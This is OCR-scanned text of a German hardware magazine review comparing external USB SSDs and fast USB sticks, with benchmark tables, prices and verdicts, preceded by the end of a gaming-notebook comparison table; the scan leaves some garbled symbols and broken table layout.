1x miniDP, 1x Kensington Lock, 2x 3,5 
mm Klinke, SD-Kartenleser, HD 


Besondere Ausstattung 


Steelseries-RGB-Tastatur 


Handballenauflage, Gaming-Maus, 
Hersteller-Tools 


Fünf programmierbare Sondertasten 


Hersteller-Tools 


Max. Displayhelligkeit/Kontrast/Abweichungen 


314 cd/m?/7 %/1231:1 


321 cd/m/11 %/1279:1 


314 cd/m?/17 %/963:1 


Eigenschaften (20 %) PAL] 1,99 1,40 176 
Akkukapazität/Laufzeit 75,9 Wh/3 Std. 43 Min. 48,2 Wh/3 Std. 18 Min 94,2 Wh/8 Std. 20 Min. 69,0 Wh/ 3 Std. 55 Min. 
Haptik und Ergonomie Sehr gut Sehr gut Sehr gut Sehr gut 

Verarbeitung Sehr gut Sehr gut Sehr gut Sehr gut 
Gewicht/Garantie 4,1 kg/2 Jahre (Pickup & Return) 2,25 kg/Zwei Jahre 1,9 kg/2 Jahre (Pickup & Return) 2,62 kg/2 Jahre 
Leistung (60 %) 1,53 1,71 2,08 2,18 


336 cd/m?/9 %/1244:1 


Lautheit (2D/3D) 


0,5 Sone/4,2 Sone (8,3 Turbo) 


0,1 Sone/2,7 Sone 


0,4 Sone/3,1 Sone 


0,1 Sone/2,2 Sone 


Cinebench R15 (Single/Multi) 


153/777 Punkte 


155/721 Punkte 


140/470 Punkte 


149/655 Punkte 


The Witcher 3, „Boat Trip” (min./avg.) 


115/120,4 Fps 


97/105,3 Fps 


57/60,6 Fps 


44/56,4 Fps 


Ethan Carter Redux, , Tracks" (min./avg.) 


FAZIT 


www.pcgameshardware.de 


91/98,5 Fps 


© Top-Leistung 
© Helles 120-Hz-Display 
© Schwer und laut 


Wertung: 1,65 


74/80,4 Fps 


© Leichtes High-End-Notebook 
© IPS-Display mit 120 Hz 
© Wenig Akku, steuer 


Wertung: 1,71 


44148,4 Fps 


© Leicht und kompakt 
© Sehr gute Verarbeitung 
© Ungleichmäßige Ausleuchtung 


Wertung: 1,94 


40/44 Fps 
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© Rot beleuchtete Tastatur 
© IPS-Display mit 120 Hz 
© Mäfßiges Preis-Leistungs-Verhältnis 


Wertung: 2,01 
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Flotte 


f 
Flasif*Speiclie r 


für unterwegs 


Auch SSDs gibt es als externe USB-Version. Werden damit ex- 
terne Magnetfestplatten überflüssig? Wir haben die Leistung 
von USB-SSDs und großen, schnellen USB-Sticks geprüft. 
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weifellos ist das Preis-Leistungs- 

verhältnis der externen Mag- 
netfestplatten im 2,5-Zoll-Format 
am besten. Der Preis pro Kapazität 
ist unschlagbar günstig - da kann 
kein Flash-Speicher mithalten. Noch 
etwas günstiger wären zwar noch 
immer die dicken 3,5-Zoll-Platten, 
im Gegensatz zu den 2,5-Zöllern be- 
nötigen sie aber immer eine extra 
Stromversorgung, da die des USB- 
Anschlusses hier nicht ausreicht. 
Der relativ geringe Preisvorteil 
macht diesen unpraktischen Nach- 
teil nicht wett, sodass unter exter- 
nen Laufwerken das 2,5-Zoll-Format 
das beliebteste ist. Kompakter und 
mobiler ist nur der USB-Stick. In 
Zeiten von USB 2.0 reichte die Ge- 
schwindigkeit bestenfalls für klei- 
nere Datenmengen, also etwa um 
ein paar Bilder oder Textdateien 
von A nach B zu schaufeln. Mit USB 
3.0 bzw. USB 3.1 erreichen mitt- 
lerweile auch USB-Sticks eine SSD- 
ähnliche Leistung - das wird auch 
dieser Test zeigen - wenngleich sie 
an die Leistung der echten SSDs, sei 
es extern oder intern, nicht heran- 
kommen. Zumindest was die Kapa- 
zität angeht, machen die Sticks den 
„echten” SSDs Konkurrenz: 250 GB 
oder auch vereinzelt 500 GB haben 
im Preis pro Gigabyte bezahlbare 
Dimensionen erreicht. Der Super- 
lativ der USB-Sticks von 2 TB hält 
exklusiv der Kingston DataTraveler 
Ultimate und kostet läppische 1.300 
Euro. 


USB 3.1 kann vieles heißen 
In die USB-3.1-Spezifikation wurde 
auch die 3.0-Geschwindigkeit über 
5 GBit/s aufgenommen. Wo also 
nur USB 3.1 draufsteht, könnte also 
auch nur USB 3.0 drin sein. Was wie 
ein Marketing-Gag klingt und den 
Verbraucher nur verwirrt, ist leider 
technisch korrekt. Zwischen der al- 
ten 3.0-Datenrate und den doppelt 
so schnellen 10 GBit/s wird nur mit 
dem Zusatz „Generation 1” und „Ge- 
neration 2” unterschieden. Daher 
sei das ausdrücklich klargestellt: 


H USB 3.1 Gen. 1 = 5 GBit/s 
I USB 3.1 Gen. 2 = 10 GBit/s 


Gleichzeitig ist es auch nicht falsch, 
die 5 GBit/s als USB 3.0 zu bezeich- 
nen. Um die Verwirrung nicht mit 
voranzutreiben, verwenden wir 
diese Bezeichnung und die USB 
3.1 lediglich für „echte” 10 GBit/s. 
Das nächste Missverständnis ist die 
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USB-Typ-C-Steckverbindung. Wäh- 
rend USB 3.0 eindeutig mit blauen 
USB-A-Steckern markiert ist, muss 
der Typ-C-Stecker kein Garant für 
USB 3.1 sein. Er spricht nämlich 
alle Sprachen, also USB 3.0, USB 
3.1 und Thunderbolt 3. Die ersten 
beiden Protokolle können sowohl 
bei Typ A als auch Typ C auftreten 
- Thunderbolt 3 verwendet aus- 
schließlich Typ C und ist abwärts- 
kompatibel zu allen USB-Versionen. 


Die USB-3.1-Revolution 
lässt auf sich warten 

Mit USB 3.1 Gen. 2 gibt es schon 
seit Jahren einen doppelt so schnel- 
len Standard, also 10 GBit/s. Mehr 
noch: Thunderbolt 3 bietet noch- 
mal die vierfache Übertragungsra- 
te, da das Protokoll auf PCI Express 
3.0 basiert und vier Lanes davon be- 
reitstellt. An aktuellen Mainboards 
und Notebooks sind Thunderbolt 
und/oder USB 3.1 Gen 2 auch 
schon fast flächendeckend zu fin- 
den. An Datenträgern, die mehr als 
USB-3.0-Geschwindigkeit bieten, 
sieht es aber recht mau aus. Die 
einzigen bereits verfügbaren SSDs 
sind schon vor zwei Jahren erschie- 
nen: die Asus Enclosure 3.1 und die 
Sandisk Extreme 900. Technisch 
arbeiten beide intern mit einem 
RAID-0-Verbund aus zwei mSATA- 
SSDs. Damit sind es die einzigen ex- 
ternen SSDs, die sogar die Leistung 
der internen SATA-6-GBit/s-SSD 
übertrumpfen. Beide sind einer- 
seits noch recht teuer und anderer- 
seits lohnt der Aufpreis den recht 
geringen Geschwindigkeitsvorteil 
kaum. 


Dann wäre da noch Thunderbolt 
3 mit der vierfachen USB-3.1- und 
achtfachen | USB-3.0-Geschwindig- 
keit über 40 GBit/s. Unnótig zu er- 
wähnen, dass dieses Potenzial von 
Speichermedien bei weitem noch 
nicht genutzt wird. Das Protokoll, 
das wie auch USB 3.1 den Typ-C- 
Stecker nutzt, punktet vielmehr 
mit seiner Vielfalt, denn es bietet 
über ein und dasselbe Kabel neben 
Datenübertragung auch Gigabit- 
Ethernet, Displayport 1.2 und eine 
Stromversorgung bis zu 100 Watt. 
Nur wenige Notebooks nutzen bis- 
lang alles gleichzeitig - meistens 
kommt trotz Thunderbolt-3-Buchse 
noch immer eine herkómmliche 
Stromversorgung zum Einsatz. 
Thunderbolt 3 ist am Blitzsymbol 
neben der Buchse zu erkennen. 


Die Asus Enclosure ist 
recht teuer und erfordert 
ein Y-Kabel. 


Die aktuell schnellste externe SSD auf dem Markt ist noch immer die Sandisk Extreme 


900. Für die ca. 740 MB/s benötigt sie eine Typ-C-Buchse mit USB 3.1 Gen. 2. 


Bandbreiten verschiedener Standards 


E MBytes/s (netto) IB GBit/s (brutto) 


45 - 4.000 
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Bemerkungen: Schnellere Schnittstellen als USB 3.0 oder SATA III sind schon lángst vorhanden. Es sind 
aber die Flash-Module, die noch als Flaschenhals fungieren. Daher hat sich bislang weder USB 3.1 Gen. 2 noch 
Thunderbolt 3 durchgesetzt. Aktuelle externe SSDs verfügen bestenfalls noch über 3.0-Leistung. 
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Rechteckig, quadratisch: Externe SSDs haben recht unterschiedliche Formate. Der 
WD-SSD liegt ein Typ-C-Kabel mit Adapter bei. 


Unterschiede nur im Schreiben 


AS SSD, Seq. Lesen und Schreiben 


Interne SATA-SSD (Crucial MX300) gei 514 (Basis) 
Sandisk Extreme 500 ЗСЗ 418 (-19 96) 
Trekstor Datastation picco SSD 3.0 ag eu 417 (-19 96) 
Samsung Portable SSDT3 [gs 8 414 (-19 96) 
WD My Passport Egg: pu 412 (-20 %) 
Adata 50600 [agg 409 (-20 9) 
Externe HDD (Buffalo HD-PZFU3) E31! 118 (-77 96) 


System: Intel Core i7-4790K Q 4 GHz, Intel Z97, interner USB-Controller, Windows 8, MB/s 
XHCI 6.3.9600 Bemerkungen: Im Lesen scheinen alle SSDs nahezu gleich gut. Unter- Eel lesen 
schiede gibt es nur zur internen SSD (Crucial MX300, 275 GB) und zur externen HDD. »- Besser 


Umrahmt von interner SSD und externer HDD 


Kopiertest (10 GiB, 50.000 Dateien) 
Interne SATA-SSD (Crucial MX300) Eu 75 (-39 96) 
Adata 50600 Eu 123 (Basis) 
Trekstor Datastation picco SSD 3.0 Eu 200 (+63 96) 
Sandisk Extreme 500 === 208 (4-69 96) 
Samsung Portable ssp T3 EX 230 (+87 96) 
WD My Passport Eu 303 (+146 %) 
Externe HDD (Buffalo HD-PZFU3) Eu 343 (4179 90) 
2.500 Bilder skalieren (Irfanview-Stapel) 


Trekstor Datastation picco SSD 3.0 Eu 261 (Basis) 
Adata 50600 Eu 263 (+1 90) 
Sandisk Extreme 500 Em 269 (+3 96) 

Interne SATA-SSD (Crucial MX300) Eu 271 (+4 %) 

Samsung Portable SSD T3 [Xu 271 (+4 96) 

WD My Passport == 272 (+4 96) 

Externe HDD (Buffalo HD-PZFU3) EX 283 (+8 90) 
Spieleinstallation (Oil Rush, 680 MB) 


Interne SATA-SSD (Crucial MX300) Eu 34 (-15 96) 
Adata SD600 ШШШ 40 ((Basis) Basis) 
Trekstor Datastation picco SSD 3.0 | 43 (+8 96) 
Samsung Portable SSD T3 [XX 44 (+10 96) 
Sandisk Extreme 500 Eu 45 (+13 96) 
WD My Passport ju 47 (418 96) 
Externe HDD (Buffalo HD-PZFU3) [EX 185 (4363 90) 


System: Intel Core i7-4790K @ 4 GHz, Intel Z97, interner USB-Controller, Windows 8, 
XHCI 6.3.9600 Bemerkungen: Im wichtigen Kopiertest ist die Adata SD600 über eine 
Minute schneller als alle anderen Modelle. Alle Werte aus drei Durchläufen gemittelt. 


Sekunden 
< Besser 
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Status Quo: USB 3.0 

Nicht nur bei externen HDDs, son- 
dern auch bei aktuellen externen 
SSDs ist lediglich USB 3.0 Stand der 
Dinge. Manch neues Modell, etwa 
die hier getestete WD My Passport, 
gibt zwar an, USB 3.1 Gen 2 zu nut- 
zen, jedoch sind die Datenraten 
auch hier auf 3.0-Niveau. 
Sie sich daher nicht von Typ-C- 
„3.1”-Aufdrucken 
täuschen. Bis auf die auf der vorhe- 
rigen Seite genannten beiden Aus- 
nahmen bieten massentaugliche 
externe SSDs lediglich die 3.0-Ge- 
schwindigkeit bis zu 5 GBit/s. Es 
macht daher keinen Unterschied, 
ob die SSD an einer USB-3.0-Buchse 
angeschlossen ist oder an der viel 
schnelleren Thunderbolt-3-Buchse. 
Dementsprechend ist es ebenso 
egal, ob die SSD über eine Typ-C- 
Buchse verfügt oder über einen 
Micro-B-Anschluss, wie man ihn 
von den 2,5-Zoll-Festplatten her 
kennt. In unserer Testcharge sind 
beide zu finden. Jeweils passende 
Kabel liegen den Modellen immer 
bei, versteht sich. Alle fünf getes- 
teten SSDs werden an PC-Seite mit 
dem üblichen USB-A-Stecker ange- 
schlossen. Lediglich der WD My 
Passport liegt ein Adapter von Typ 
C auf Typ A bei. Wer die SSD an der 
USB-C-Buchse betreiben möchte, 
kauft für wenige Euro einfach Ad- 
apter oder Kabel nach. 


Lassen 


Buchsen oder 


Adata SD600: Das kompakte Quad- 
rat mit guter Leistung. Im synthe- 
tischen Benchmark mit AS SSD ist 
die sequenzielle Leseleistung der 
externen SSDs nahezu gleich. Die 
sequenzielle Schreibleistung vari- 
iert da schon mehr. Dass das nicht 
unbedingt etwas heißen muss, zei- 
gen unsere praktischen Messun- 
gen. Beim Kopieren von 10 GiByte 
unterschiedlicher Daten liegt sie 
mit deutlichem Abstand vorne. In 
nur zwei Minuten hat die SD600 
die Menge durchgeschaufelt - alle 
anderen Modelle brauchen gut 
eine Minute mehr. Daran ist auch 
der Vorteil einer externen SSD 
gegenüber einer externen HDD 
ersichtlich: Wer oft und schnell 
große Datenmengen hin- und her- 
schubsen möchte, ist mit einer SSD 
bestens bedient. 


Als reines Datengrab ist sie nicht 
nur zu schade, sondern auch mit 
circa 50 Cent pro Gigabyte zu teu- 
er. Bei einer externen HDD ist das 


Gigabyte schon ab 3 Cent zu haben. 
Oder anders gesagt: Für die ca. 120 
Euro, die eine Adata SD600 mit 256 
GB kostet, gibt es schon 4 TB bei ei- 
ner externen Magnetfestplatte. Ein 
wenn auch unwesentlicher Vorteil 
zur HDD ist der etwas geringere 
Stromverbrauch - wenn auch das 
nur für die Akkulaufzeit von Note- 
books relevant ist. Die externe SSD 
ist nicht nur schneller als ihr HDD- 
Pendant, sondern ohne bewegliche 
Bauteile auch stoßfester. 


Samsung Portable SSD T3: Daten- 
grab-Kapazitát mit SSD-Leistung. 
Mit satten zwei Terabyte an Kapazi- 
tät ist die T3 von Samsung die üp- 
pigste externe SSD auf dem Markt. 
Im Gegensatz zu den Magnetfest- 
platten steigt aber der Preis bei 
Flash-Speichern direkt proportio- 
nal mit der Kapazität. Der Gigabyte- 
Preis von 40 Cent ist zwar etwas 
geringer als bei den geringeren Ka- 
pazitäten, mit circa 740 Euro ist die 
externe 2-TB-SSD für Privatanwen- 
der aber entschieden zu teuer. So 
eine Investition lohnt sich etwa für 
den professionellen Videoschnitt. 
Die großen Datenmengen können 
nicht nur schnell hin- und herko- 
piert werden, sondern auch direkt 
auf der externen SSD bleiben und 
ohne spürbare Leistungsverluste 
dort bearbeitetet werden. Für den 
beruflichen Einsatz spricht auch 
die Hardware-Verschlüsselung mit 
256 Bit AES. Ein Heimanwender 
kommt meist ohne Verschlüsse- 
lung aus oder verwendet eine soft- 
wareseitige Verschlüsselung bei- 
spielsweise mit Veracrypt. 


Die Samsung-SSD gibt es auch in 
entsprechend günstigeren Vari- 
anten, also in Kapazitäten über 
1 TB, 500 GB oder 250 GB. Was die 
Leistung betrifft. ist die T3 im AS- 
SSD-Benchmark T3 am schnellsten 
im Schreiben. In der Praxis liegt 
sie aber mit Mittelfeld: Für die 10 
GiByte benötigt sie deutlich län- 
ger als etwa die Adata SD600. Mit 
einer 5 GiByte großen Datei ist sie 
mit knapp 29 Sekunden aber die 
schnellste SSD. Hier unterscheiden 
sich die Modelle kaum untereinan- 
der, mit Ausnahme der Trekstor. 


Western Digital My Passport SSD: 
Mittelmäßige Leistung, dafür um- 
fangreiches Zubehör. Laut Wes- 
tern Digital ist die SSD „USB 3.1 
Gen 2-fähig”. Wie aber eingangs 
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schon erwàhnt, bietet die schnelle 
Schnittstelle hier keinen Vorteil, 
da auch hier lediglich 3.0-Leistung 
geboten wird. Bis 515 MB/s sei die 
SSD schnell, damit wäre sie die 
einzige externe SSD dieser Test- 
charge, welche die 500er Marke 
übertreffen würde. Wir kónnen 
die Herstellerangaben aber nicht 
mit einem Benchmark reprodu- 
zieren, sodass wir stets bestenfalls 
Werte unter 500 MB/s messen. Die 
sequenziellen Datenraten fallen in 
AS SSD dennoch nicht schlecht aus. 
Dass die Schreibleistung dennoch 
etwas schwächelt, zeigt der Kopier- 
test, der bei jedem Modell dreimal 
vorgenommen wurde und bei der 
WD My Passport SSD stets knapp 
über fünf Minuten dauerte. Lànger 
brauchte im Test nur unsere exter- 
ne Magnetfestplatte. Die WD-SSD 
punktet vielmehr mit ihrem relativ 
günstigen Gigabyte-Preis über ca. 
40 Cent und dem Zubehör. Ihr liegt 
ein Kabel mit zwei Typ-C-Steckern 
bei sowie ein Adapter auf Typ A. 
Außerdem ist auf der SSD Software 
zur Verschlüsselung (AES 256 Bit), 
Datensicherung und Diagnose vor- 
handen. 


Sandisk Extreme 500: Altbewährtes 
Modell mit einzigem Nachteil der 
schlechten Verfügbarkeit. Während 
die bisher drei vorgestellten SSDs 
relativ neu auf dem Markt sind, ist 
Sandisk der Pionier unter den Her- 


stellern externer SSDs. Mittlerweile 
gehört Sandisk zu WD, weswegen 
neue Modelle wohl nur noch unter 
dieser Marke erscheinen. 


Nichtsdestotrotz sind die externen 
Sandisk-SSDs, allen voran die Ex- 
treme 500, noch immer auf dem 
Markt zu finden und keinen Deut 
schlechter als aktuellere Modelle 
- das haben unsere Benchmarks 
auch bewiesen. Die Extreme 500 
ist außerdem in fünf verschiede- 
nen Kapazitäten von 120 GB bis 
1 TB zu einem recht guten Giga- 
byte-Preis erhältlich. Da sie aber 
wohl nicht mehr nachproduziert 
wird, sind die jeweiligen Versionen 
der SSDs nicht immer verfügbar. 
Auf allen Sandisk-SSDs und -Sticks 
ist außerdem das praktische Ver- 
schlüsselungs-Tool Secure Access 
vorinstalliert. 


Trekstor Datastation picco SSD 3.0: 
Geldbeutel-SSD. Die Trekstor-SSD 
zeichnet sich durch ihre kompak- 
ten Keditkartenmaße aus. Nur 1 
cm dünn und 36 g schwer ist sie 
die leichteste und kleinste von uns 
getestete externe SSD - mit 128 
GB aber auch die kleinste in der 
Kapazität. Hier ist der Gigabyte- 
Preis mit ca. 60 Cent noch recht 
teuer. Bei der 512-GB-Version der 
Trekstor-SSD hingegen ist er rela- 
tiv gut. In der Leistung kann sie 
mit den anderen Modellen gut 


mithalten, auch wenn die Schreib- 
leistung von 141 MB/s auf ein cher 
schwaches Niveau hinweist, ist sie 
in der Praxis im Schreiben vieler 
kleineren Dateien nicht unbedingt 
langsamer, bei größeren Dateien 
jedoch schon. Hier bildete sie mit 
50 Sekunden das Schlusslicht. Der 
Trekstor Datastation picco liegt au- 
fserdem eine praktische Lederbrief- 
tasche bei, in der SSD und USB-Ka- 
bel Platz finden. 


Unter den externen SSDs sind 
sowohl Micro-B- als auch Typ- 
C-Buchsen verbreitet. 


Hardware 


Fa 


Schnell aber teuer 

Externe SSDs sind schnelle, robuste 
aber teure Alternativen zu externen 
HDDs. Hohe Kapazitäten sind teuer 
und lohnen sich oft nur im professio- 
nellen Einsatz. Auch aktuelle Modelle 
bieten noch immer nur USB-3.0-Ge- 
schwindigkeit. USB 3.1 (Gen. 2) oder 
Thunderbolt 3 am PC oder Notebook 
bietet noch keinen Vorteil. 


Hersteller Adata 


External SSD Durable 


External 550 Durable 50600 


Hardware 


ADATA 
eem 


Portable SSD T3 


Samsung 


WD My Passport 


Western Digital Sandisk 


Lok 


Datastation picco SS 
Trekstor 


Preisvergleich 


www.pcgh.de/preis/1599170 


www.pcgh.de/preis/1375392 


www.pcgh.de/preis/1605799 


www.pcgh.de/preis/1374048 


www.pcgh.de/preis/1210290 


Preis/Preis-Leistungs-Verhältnis Ca. € 123,-/gut Ca. € 740,-/befriedigend Ca. € 389,-/befriedigend Ca. € 180,-/gut Ca. € 71,-/ausreichend 
Garantie 3 Jahre 3 Jahre 3 Jahre 3 Jahre 2 Jahre 

Eigenschaften 

Kapazität (Dezimal/binär) 256 GB/238,4 GiB 2.000 GB/1.863 GiB 1.000 GB/931,3 GiB 480 GB/447 GiB 128 GB/119,2 GiB 

Preis pro GiB Ca. € 0,52 Ca. € 0,40 Ca. € 0,42 Ca. € 0,40 Ca. € 0,60 
USB-Standard USB 3.0 Micro-B USB-C 3.0 USB-C 3.1 (Gen. 2) USB 3.0 Micro-B USB 3.0 Micro-B 
Zubehör/Besonderheiten Griffige Oberfläche 256 Bit AES-Verschlüsselung 256 Bit AES-Verschlüsselung, Verschlüsselungs-Tool (Secure Ac- — | Lederbrieftasche inklusive 


USB-Adapter von Typ C auf Typ A — |cess, 128 Bit AES) 


Größe (L x B x H)/Gewicht 


AS SSD (Seq. Lesen/Schreiben) 


8,0 x 80 x 1,5 cm 


410/201 MB/s 


7,4 x 5,8 x 1,1 cm 


414/394 MB/s 


9,0 x 4,5 x 1,0 cm 


411/388 MB/s 419/362 MB/s 


7,6 x 7,6 x 1,1 cm/16 g 


8,5 x 5,0 x 1,0 cm/13 g 


417/141 MB/s 


FAZIT 
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© Gutes P/L-Verhältnis 
© Gute Schreibleistung 


© Relativ teurer GB-Preis 


Wertung: Ж ЖЖЖ? 


© Hohe Kapazität 
© Günstiger GB-Preis 
© Teuer 


Wertung: KA KA I 


Kopiertest (5 GiB, eine Datei) 32,3 Sekunden 29,8 Sekunden 30,2 Sekunden 37,6 Sekunden 50,1 Sekunden 
Kopiertest (10 GiB, 50.000 Dateien) 2 Min. 3 Sek. 3 Min. 50 Sek. 5 Min. 3 Sek. 3 Min. 28 Sek. 3 Min. 20 Sek. 
2.500 Bilder skalieren (Irfanview-Stapel) 4 Min. 23 Sek. 4 Min. 31 Sek. 4 Min. 32 Sek. 4 Min. 29 Sek. 4 Min. 21 Sek. 
Spieleinstallation (Oil Rush, 680 MB) 40,0 Sekunden 44,3 Sekunden 46,5 Sekunden 44,7 Sekunden 43,3 Sekunden 


© Diagnose-Software 
© USB-Adapter auf Typ A 
© Schwache Schreibleistung 


Wertung: KA Ж Ж7 


© Verschlüsselungs-Tool 
© Gutes P/L-Verhältnis 
© Schlechte Verfügbarkeit 


Wertung: Ж Ж ЖЖ 


© Praktische Lederbrieftasche 
© Kreditkartenformat 
© Schreibleistung etwas mau 


Wertung: soe 
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Schnelle USB-Sticks: Konkurrenz für externe SSDs? 


Im Lesen meist deutlich besser 


AS-SSD-Benchmark: Leistung vergleichbar mit HDDs 


Sandisk Extreme PRO == 380 (Basis) 
Patriot Supersonic Rage 2 nu 356 (-6 96) 
Corsair Flash Voyager GTX = aG 324 (-15 %) 
Sandisk Extreme GO a wamaq Es 188 (-51 %) 
Sandisk Ultra Dual Drive ЗЇ ШЕШШ 148 (-61 96) 


System: Intel Core i7-4790K @ 4 GHz, Intel 297, interner USB-Controller, Windows 8, MB/s 
XHCI 6.3.9600 Bemerkungen: Eine Sandisk Extreme PRO kommt der Leistung einer БЕТЕ lesen 
SATA-SSD schon ziemlich nahe. Leider aber auch im Preis. » Besser 


Praxisleistung: GroBe Unterschiede 


Kopiertest (10 GiByte, 50.000 Dateien) 


Sandisk Extreme PRO ЕШШ 487 (Basis) 
Corsair Flash Voyager GTX Eu 639 (+31 96) 
Sandisk Extreme GO ШШШ 1.210 (+148 96) 
Sandisk Ultra Dual Drive Eu 2.249 (4-362 96) 
Patriot Supersonic Rage 2 == 3.504 (+620 %) 
2.500 Bilder skalieren (Irfanview-Stapel) 
Sandisk Extreme PRO ü 288 (Basis) 
Corsair Flash Voyager GTX Ee 308 (+7 96) 
Sandisk Extreme GO Xu 329 (+14 96) 
Patriot Supersonic Rage 2 == 402 (+40 96) 
Sandisk Ultra Dual Drive aa 453 (4-57 96) 
Spieleinstallation (Oil Rush, 680 MB) 
Sandisk Extreme PRO EEE 62 (Basis) 
Corsair Flash Voyager GTX E 68 (+10 96) 
Sandisk Ultra Dual Drive EX 181 (+192 96) 
Patriot Supersonic Rage 2 EX 245 (4-295 96) 
Sandisk Extreme GO [s 483. (+679 96) 


System: Intel Core i7-4790K @ 4 GHz, Intel Z97, interner USB-Controller, Windows 8, 
XHCI 6.3.9600 Bemerkungen: Unsere Praxistests zeigen die wahre Leistung jenseits 
synthetischer Benchmarks. Die Leistung varriiert ähnlich stark wie der Preis. 


Sekunden 
< Besser 
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A USB-Sticks werden immer 
schneller und immer grófser, 
sodass die Grenze zwischen Stick 
und SSD schmaler wird, auch wenn 
sie noch lange nicht verschwindet. 
Außerdem ist der USB-Stick die 
Henne und die SSD das Ei - ihn gab 
es also zuerst. Wegen dem USB-2.0- 
Flaschenhals kam er daher lange 
Zeit nur zum Einsatz, um kleine- 
re Dateien schnell von A nach B 
zu schubsen, während die SSD im 
Rechner die Magnetfestplatten er- 
setzt haben. Aber auch jetzt, wo 
USB 3.0 unter den Speichersticks 
weit verbreitet ist, sind sie kaum zu 
mehr zu gebrauchen. Wie auf den 
vorherigen Seiten schon ausgeführt, 
nutzen selbst aktuelle externe SSDs 
ja noch nicht die gesamte USB-3.0- 
Bandbreite aus. Einige Boliden gibt 
es dennoch, die laut den Spitzenra- 
ten zumindest annáhernd das SSD- 
Niveau erreichen. Wir testen daher 
USB-Sticks aus der Nische, die sich 
zwischen anspruchslosem Werbe- 
Stick und externer SSD tummeln. 


Sandisk Extreme Pro: Die SSD unter 
den USB-Sticks. Schneller ist kein 
Stick: Lese- und Schreibraten über 
300 MB/s im AS-SSD-Benchmark 
sind ein Indiz dafür, dass der USB- 
Stick so mancher (externen) SSD 
Konkurrenz macht. Die Praxistests 
zeigen zwar, dass der Sandisk Extre- 


Zwischen vier und acht Zen- 
timeter sind unterschiedliche 
Größen im Test vertreten. 


me Pro unter den Sticks ausnahms- 
los und stets deutlich der Schnells- 
te ist. An die SSD-Leistung kommt 
er dennoch nicht heran: Im Kopier- 
test von 10 GiByte an Daten benó- 
tigt er mit über acht Minuten noch 
immer mehr als doppelt so lang 
wie die meisten externen SSDs. 
Selbst unsere Stichprobe einer ex- 
ternen HDD (Buffalo HD-PZFU3) 
ist mit viereinhalb Minuten noch 
immer deutlich schneller. USB-3.0- 
HDDs haben daher stets ein besse- 
res Preis-Leistungsverhältnis. Mit 
90 Euro Straßenpreis für 128 GByte 
ist er zudem recht teuer, so manche 
externe SSD ist bei gleicher Kapazi- 
tätschon wesentlich günstiger und 
zudem etwas leistungsfähiger. Im 
Vergleich mit externen Festplatten, 
also sowohl SSD als auch HDDs, 
kann selbst der aktuell schnellste 
USB-Stick daher nur mit seinem 
kompakten Format punkten. 


Sandisk Extreme Go: Nicht ganz 
so schnell, nicht ganz so teuer. Ein 
weitaus besseres Preis-Leistungsver- 
hältnis hat da das Schwestermodell 
Extreme Go. Sie sehen sich zum 
Verwechseln ähnlich, weisen beide 
äußerlich aber kleinere Unterschie- 
de auf. Die Maße aber sind diesel- 
ben. Der „Go” ist bei gleicher Ka- 
pazität einige Gramm leichter. Wie 
auch der „Pro” ist er ein Slider: Der 
USB-Stecker kann also über einen 
Mechanismus ein- und ausgefahren 
werden. Bei beiden Sandisk-Stick 
geschieht das schnappartig. Was die 
Lese- und Schreibleistung angeht, 
gibt es zwischen den Modellen 
deutliche Unterschiede. Natürlich 
ist der viel günstigere Extreme Go 
ebenso viel langsamer. Der Preis- 
aufschlag um die Hälfte beim „Pro” 
muss schließlich gerechtfertigt wer- 
den. Für die 10-GByte-Kopie benö- 
tigt das günstigere Modell mit über 
20 Minuten schon mehr als doppelt 
so lang. Wer also große Datenmen- 
gen hin- und herschiebt, muss selbst 
bei USB-3.0-Sticks Zeit mitbringen. 


Corsair Flash Voyager GTX: Groß, 
dick robust und schnell. Mit üppigen 
50 Gramm ist der große Corsair- 
Stick schwerer als so manche exter- 
ne SSD. Auf das Gewicht kommt es 
in diesen Dimensionen aber eher 
weniger an. Vielmehr können die 
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wuchtigen Mafše des Klotzes pro- 
blematisch sein: Mit einer Breite 
über 26 Milimeter kann er benach- 
barte USB-Buchsen verdecken. Mit 
einem Metallgehäuse dürfte er 
aber auch der stabilste Stick unse- 
rer Testcharge sein. Wir haben die 
Modelle nicht auf mechanische 
Belastung geprüft, aber alle ande- 
ren Modelle verfügen über Plastik- 
elemente. In der Leistung liegt der 
Corsair-Koloss klar auf Platz zwei. 
Eine  zweistellige sequenzielle 
Schreibrate in AS SSD weist zwar 
auf eine kleine Schwäche hin, die 
10 GByte schaufelt er aber in nur 
10 Minuten. Preislich ist er nicht 
der günstigste liegt wie auch in der 
Leistung zwischen dem Top-Modell 
und den Mittelklasse-Sticks. 


Patriot Supersonic Rage 2: Lesen hui, 
Schreiben pfui. Der kleine Slider von 
Patriot hat nicht nur einen schicken 
Namen, sondern ein ebensolches 
Äußeres. Mit über 300 MB/s lässt 
sich vom Stick zumindest sequen- 
ziell relativ flott lesen, wenn denn 
erst mal die Daten darauf geschrie- 
ben sind. Für unseren Kopiertest 
lässt sich der „Supersonic” nämlich 
fast über eine Stunde Zeit - und 
das in allen drei Durchläufen glei- 
chermaßen. Ein enttäuschendes 
Ergebnis für ein Marken-Speicher- 
medium mit USB 3.0. Zwar ist der 
Gigabyte-Preis knapp günstiger als 
bei den drei bisher vorgestellten 


Modellen, dass Sie aber woanders 
„mehr für weniger” bekommen 
können, beweist der nächste Stick. 


Sandisk Ultra Dual Drive: Nicht nur 
klein und leicht, sondern auch fle- 
xibel dank zweier Steckertypen. 
Sandisk zeigt mit dem Ultra Dual 
Drive, worauf es bei einem USB- 
Stick ankommt: auf ein kompaktes 
Format und Flexibilität. An einem 
Ende fährt der Typ-A-Stecker aus, 
am anderen schaut ein Typ C her- 
aus. Für die Leistung ist es übrigens 
vollkommen egal, an welchem der 
beiden Enden der Stick angeschlos- 
sen ist - sie ist stets gleich, aber 
bestenfalls mittelmäßig. Sowohl 
die sequenziellen Datenraten in 
AS SSD als auch die Kopierzeiten 
in den Praxistests brillieren nicht 
gerade. Dafür aber ist der Gigabyte- 
Preis mit nur ca. 43 Cent der beste 
der Testreihe. (mc) 


Fazit Hardware 


Kompakt statt schnell 

Wie auch SSDs bestehen USB-Sticks 
aus Flash-Chips und die Kapazitäten 
wachsen so langsam auf Laufwerks- 
größe an. Nicht aber die Leistung: Wer 
ein einigermaßen schnelles Datengrab 
sucht, ist mit einer externen HDD noch 
immer besser bedient. Die USB-Sticks 
punkten daher nur mit ihrem praktisch 
en kleinen Format und ihrer Flexibilität. 


Typ A (unten) und Typ C (oben): Der Sandisk-Stick bietet per Slider an beiden Enden 
auch beide Steckervarianten. Alle anderen getesteten Sticks haben lediglich USB-A. 
